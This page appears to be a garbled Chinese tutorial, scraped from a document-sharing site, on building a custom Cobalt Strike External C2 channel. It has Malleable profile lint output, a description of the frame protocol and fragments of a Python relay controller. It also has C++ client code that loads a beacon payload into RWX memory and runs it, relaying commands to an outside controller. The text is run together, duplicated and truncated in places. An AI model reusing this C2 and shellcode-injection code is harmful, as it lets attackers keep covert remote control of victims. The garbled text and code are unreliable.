+].http-56[+].http-get.server.output[+].http-get.server.output[+].http-48[+].http-8576(0(1[+].http-post.client.idtransform+mangle+recoverpassed[+].http-post.client.output[+].http-.http-.http-POSTs48576[!].http-get.uriURI/WBGlIlhascommonbasewith.http-post.uriURI/WBGlIl.php(thismayconfuseuri-[+].host_stage:Willhostpayloadstage[!].spawnto_x86is'%windir%\syswow64\rundll32.exe'.Thisis*really*badOPSECMalleable这里我只是随便写一下不要使用,写的很糟糕。这里的翻译有部分没有翻译,等我日后在弄吧[!].spawnto_x64Malleable这里我只是随便写一下不要使用,写的很糟糕。这里的翻译有部分没有翻译,等我日后在弄吧[!].spawnto_x64is'%windir%\sysnative\rundll32.exe'.Thisis*really*badOPSEC[!].code-signer.keystoreismissing.WillnotsignexecutablesandDLLs[!].https-certificateoptionsaremissing[willusebuilt-inSSLcert]External首先什么是ExternalC2是External首先什么是ExternalC2是由CobaltStrike提出的一套规范/框架,它允许黑客根据需要对框架提供的默认HTTP(S)/DNSSMBC2通信通道进行扩展。这句话估计都听烦了,简单说就是用户可以开发自己的控制器(服务端)和客户端(被控端)而不是直接使用CS自1.第三方控制器(Third-pController)——负责与CobaltStrikeTeamServer(C服务端)进行连接[通信方式使用TCP连接],并使用自定义C2通道与目标主机上的第三方客户端进行通信[通信方式自定义]第三方客户端(Third-partyClient)——负责使用自定义的C2通道与第三方控制器进行通信,创建SMBBeacon并与其通信[通信方式使用命名管道]。 Beacon——受害者机器上运行的BeacExternal让CobaltStrike启动ExternalC2我们需要使用External让CobaltStrike启动ExternalC2我们需要使用externalc2_start函数监听指定端口等待第三方控制端连接进行通信最开始通信时,第三方服务端与CS服务端建立连接,然后发送一些选项,发送数据由4字节的数据块长度字段(低字节序)以及一个数据块所组成首先要发送以下的一些选项arch:待使用的beacon的架构(x86或xpipename:用来与beacon通信的管道(pipe)的名称block:sleep选项(以毫秒为单位所有选项发送完毕后,第三方服务端在发送一条go指令。这条指令表示一切ok,CS生成并发送SMBbeaconpayload。第三方服务端随后会将这个SMBbeaconpayload转发给第三方客户端,然后第三方客户端接收SMBbeaconpayload然后启动SMBbeacon。在一切完成后会产生一个如下的循环不断处理CS发送的命令然后返回执行的结果发送命令:CS服务端——>第三方服务端——>第三方客户端——>SM返回结果beacon——>第三方服务端——>第三方客户端——>CS服务端需要注意以上的数据传输格除了第三方服务端和第三方客户端的通信格式可以自定义其他全是按照4字节数据块长度段+数据块组成经典案先说一个经典案例然后在说一个别的。在这个经典案例中我们使用Python编写第三方服务端C++编写第三方客户端。首先让CS启动ExternalC2并监听一个端口等待连接,这个脚本很简单就一行代码直接CS让加载这个脚本就行External该语句执行完毕后,ExExternal该语句执行完毕后,ExternalC2会在2222端口上监听请求importsocketimportstructimporttimeclassExternalC2Controller:definit(self,port):self.port=defencodeFrame(self,returnstruct.pack("<I",len(data))+defdecodeFrame(self,len=struct.unpack("<I",data[0:3])body=data[4:]return(len,defsendToTS(self,data):defrecvFromTS(self):data=""_len=self._socketTS.recv(4)l=struct.unpack("<I",_len)[0]whilelen(data)<l:data+=self._socketTS.recv(l-len(data))returndatadefsendToBeacon(self,data):defrecvFromBeacon(self):data=""externalc2_start("",External_lenl=struct.unpack("<I",_len)[0]whilelen(data)<l:data+=self._socketClient.recv(l-External_lenl=struct.unpack("<I",_len)[0]whilelen(data)<l:data+=self._socketClient.recv(l-returndef#Firstthing,waitforaconnectionfromourcustomself._socketBeacon=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.IPPROTO_IP)self._socketBeacon.bind(("",8081))self._socketClient="ReceivedC2#hCSwehaveabeaconconnection,wekickoffcommsself._socketTS=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.IPPROTO_IP)self._socketTS.connect(("",#Sendoutconfigoptions#ReceivethebeaconpayloadfromCStoforwardtoourcustombeacondata=print"Sending%dbytestobeacon"%data=print"Received%dbytesfrombeacon"%print"Sending%dbytestoTS"%External基本流程连接CS服务端发送选项接收payloaExternal基本流程连接CS服务端发送选项接收payload转发到第三方客户端,转发命令到第三方客户端然后转发执行的结果到CS服务端#include//AllocatesaRWXpagefortheCSbeacon,copiesthepayload,andstartsanewthreadvoidspawnBeacon(char*payload,DWORDlen)HANDLEthreadHandle;DWORDthreadId=0;char*alloc=(char*)VirtualAlloc(NULL,len,MEM_COMMIT,PAmemcpy(alloc,payload,threadHandle=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)alloc,NULL,0,&threadId);}//SendsdatatoourC2controllerreceivedfromourinjectedbevoidsendData(SOCKETsd,constchar*data,DWORD{char*buffer=(char*)malloc(len+4);if(buffer==NULL)data=print"Received%dbytesfromTS"%controller=ExternalC2Controller(3389)ExternalDWORD=0,totalLen=*(DWORD*)buffermemcpy(buffer+data,while(totalLenExternalDWORD=0,totalLen=*(DWORD*)buffermemcpy(buffer+data,while(totalLen<len+4)bytesWritten=send(sd,buffer+totalLen,len+alLen,0);totalLen+=}}4//Receivesdatafromourectedbeaconchar*recvData(SOCKETsd,char*buffer;DWORDbytesReceivedC2toberelayedDWORD{0,=*len=bufferif(char4,(char==returnwhile(totalLen<{bytesReceived=recv(sd,Len,totalLen+=}return+-//CreatesanewC2controllerconnectionforrelayingcommandsSOCKETcreateC2Socket(constchar*addr,WORDport){WSADATASOCKETExternalSOCKADDR_INWSAStartup(0x0202,memset(&sin,0,sizeof(sin));sin.sin_family=AF_INET;sin.sin_port=htons(port);sin.sin_addr.S_un.S_addr=sd=socket(AF_INET,SOCK_STREAM,ExternalSOCKADDR_INWSAStartup(0x0202,memset(&sin,0,sizeof(sin));sin.sin_family=AF_INET;sin.sin_port=htons(port);sin.sin_addr.S_un.S_addr=sd=socket(AF_INET,SOCK_STREAM,connect(sd,(SOCKADDR*)&sin,return}//Connectstothenamepipe

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论